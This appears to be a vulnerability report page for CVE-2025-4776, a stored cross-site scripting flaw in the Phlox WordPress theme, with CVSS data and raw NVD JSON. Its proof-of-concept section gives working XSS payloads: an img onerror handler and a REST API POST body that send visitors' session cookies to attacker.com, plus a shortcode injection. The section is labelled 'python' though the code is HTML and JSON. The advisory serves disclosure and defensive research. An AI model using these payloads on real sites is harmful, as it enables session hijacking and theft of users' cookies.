Security Vulnerability Report
中文
CVE-2025-4776 CVSS 6.4 MEDIUM

CVE-2025-4776

Published: 2026-01-06 07:15:43
Last Modified: 2026-04-15 00:35:42

Description

The Phlox theme for WordPress is vulnerable to Stored Cross-Site Scripting via the `data-caption` HTML attribute in all versions up to, and including, 2.17.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Phlox主题 <= 2.17.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-4776 PoC: Stored XSS via data-caption attribute --> <!-- This PoC demonstrates the XSS vulnerability in Phlox theme --> <!-- Requires Contributor-level access to WordPress --> <!-- Method 1: Via WordPress Editor --> <!-- Insert the following payload in any post/page content: --> <img src=x onerror='fetch("https://attacker.com/steal?c="+document.cookie)' data-caption='" onload="alert(document.domain)" ' /> <!-- Method 2: Direct HTTP Request --> <!-- POST /wp-json/wp/v2/pages/<id> with payload: --> { "content": "<div data-caption=\"'><script>fetch('https://attacker.com/log?data='+btoa(document.cookie))</script>\"></div>" } <!-- Method 3: Shortcode injection --> [phlox_image data-caption='" onfocus="alert(document.cookie)" autofocus="'] <!-- Impact: Steals session cookies and sends to attacker server -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-4776", "sourceIdentifier": "[email protected]", "published": "2026-01-06T07:15:43.020", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Phlox theme for WordPress is vulnerable to Stored Cross-Site Scripting via the `data-caption` HTML attribute in all versions up to, and including, 2.17.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://themes.trac.wordpress.org/changeset/300858/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a49f8150-a27d-4801-8923-31af335c3cbd?source=cve", "source": "[email protected]"}]}}